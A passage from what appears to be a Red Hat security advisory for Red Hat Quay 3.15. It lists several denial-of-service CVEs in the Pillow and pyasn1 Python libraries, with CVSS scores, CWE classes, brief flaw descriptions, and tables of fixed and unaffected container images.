                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:H

CWE-787 - Out-of-bounds Write

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64	—	Vendor Fix fix
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le	—	Vendor Fix fix
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x	—	Vendor Fix fix

Known not affected 19 products

Product	Identifier	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x		—
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64		—

Threats

Impact Important

CVE-2026-59199

A flaw was found in Pillow, a Python imaging library. A remote attacker could exploit a vulnerability in the library's image processing functions, specifically when handling image coordinates near certain limits. This flaw, a native heap out-of-bounds write, could lead to a denial of service (DoS), making the affected system or application unavailable.

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-190 - Integer Overflow or Wraparound

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x	—	Vendor Fix fix Workaround

Known not affected 19 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64	—	Workaround

Threats

Impact Important

CVE-2026-59200

A flaw was found in Pillow, a Python imaging library. A remote attacker could exploit a vulnerability in the PdfParser.PdfStream.decode() function when processing a crafted FlateDecode PDF stream. By providing a specially designed PDF file, the attacker could cause the application to exhaust available memory, leading to a denial of service (DoS).

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-409 - Improper Handling of Highly Compressed Data (Data Amplification)

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x	—	Vendor Fix fix Workaround

Known not affected 19 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64	—	Workaround

Threats

Impact Important

CVE-2026-59204

A flaw was found in Pillow, a Python imaging library. A remote attacker could exploit this vulnerability by providing a specially crafted JPEG2000 image file. Due to incorrect calculation of memory requirements for image tiles, processing this file can lead to excessive memory consumption, resulting in a denial of service (DoS) through out-of-memory failures.

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-131 - Incorrect Calculation of Buffer Size

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x	—	Vendor Fix fix Workaround

Known not affected 19 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64	—	Workaround

Threats

Impact Important

CVE-2026-59205

A flaw was found in Pillow, a Python imaging library. This vulnerability allows an attacker to trigger controlled native heap corruption by supplying an output image whose mode does not match the transform's declared output mode when using the ImageCms.ImageCmsTransform.apply API. This can lead to a denial of service (DoS) condition, making the affected system or application unavailable.

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-843 - Access of Resource Using Incompatible Type ('Type Confusion')

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x	—	Vendor Fix fix Workaround

Known not affected 19 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:3ee122ba0a8d98edc7447ade746fc8d3b97a835f267ac3d18b4bc22e4fdbea80_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:8a594f76497e36abdee27529905e5fa437eb4fa4e8e1267b7e0ed0328b8ed55e_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-rhel8@sha256:e07cd66b79aa5e342e621feab192e9791f2ccc28ab48bb63d08e73d29c631a50_amd64	—	Workaround

Threats

Impact Important

CVE-2026-59885

A flaw was found in pyasn1, a Python library for Abstract Syntax Notation One (ASN.1). The BER, CER, and DER decoders process OBJECT IDENTIFIER and RELATIVE-OID values in quadratic time relative to the number of arcs. A remote attacker could exploit this by providing a specially crafted payload containing an OID with many arcs, leading to excessive CPU consumption and a denial of service (DoS) in applications that decode untrusted ASN.1 data. The corresponding encoders also exhibit this quadratic behavior when re-encoding attacker-supplied values.

7.5 (High)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE-1050 - Excessive Platform Resource Consumption within a Loop

Affected products

Fixed 3 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:3773976a2937e59ee577d2f5c73f19b8204cc5347e23d2ae4cdd70759189d4f5_amd64	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:840b0af68ff3b06d1f4195e3bde1a60019994c6255d9622131ec2950c8aad50e_ppc64le	—	Vendor Fix fix Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-rhel8@sha256:bdfd5823d00ece5e608428350741629d132351a6789cdd042d07dbb4fd1f11a6_s390x	—	Vendor Fix fix Workaround

Known not affected 19 products

Product	Version	Remediation
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:8e11b087f99de92f6f135ec4d3567c7a9001cb9f806bcc0de5c1ea00f81ad41b_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:a2eb7829ecf57d4a1a3a331d056a5fa0f7d3469c5cc096c5d76d7e915f52b857_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/clair-rhel8@sha256:f62019f75e49598f7b973d684711efc494dccddf8fb82d27f2f80766206d6ef4_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-bundle@sha256:33cc57d4b94be27402c910f3a88c96704af9a316128af9c10b35d8b951b897cd_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:035153582af7ad684123e474177f77ed9549dd410d222d16c4102022fea1de2f_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:a909c0671f973962d482ed3a66886e37ec086c7e44502a54c6fefb065507c47f_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-bridge-operator-rhel8@sha256:f2f05ee1f01e92185583dfc63ca09adafadae8701ccd0a14098c2704b6273bce_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-qemu-rhcos-rhel8@sha256:2f5ec68c7c5e095b913089117a0df99420259950e50b3b1ee3263ca23f63be7b_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:4e324568117f52512ec8b3e960aa5766ddea77f2dc3ac96c8f312c2ba94807ab_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:7c322657021d03c5f452543214c39a7c9e0061e5d4fad0b4fdf550fbfb23defd_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-builder-rhel8@sha256:981e303e898ab97986d85c3c6b208c100b7a7f605c3309702dc69f911a95a9b3_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-bundle@sha256:7a55c856f4103814c14f4d650ea89fc0ba2088d46ea7c315264622dc0d65e89a_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:071d056fda0fe4546be5963d9b193807c3b88b7681cc1c1cb77a5364c05d2c51_s390x	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:1ec8ddeef7aa52dcb522cec577cf55c72dfc6f9945aa52f3fa770ec01e6e20e2_ppc64le	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-container-security-operator-rhel8@sha256:9021e49a61ca01bdbc7b07ca0bcbf87d3675eeee987ed4ec8972d187849e5dd3_amd64	—	Workaround
Unresolved product id: Red Hat Quay 3.15:registry.redhat.io/quay/quay-operator-bundle@sha256:c9e64e04bd56e8a0eb7378103375222982a070b2dba5a433de497ac7b756bf49_amd64	—	Workaround
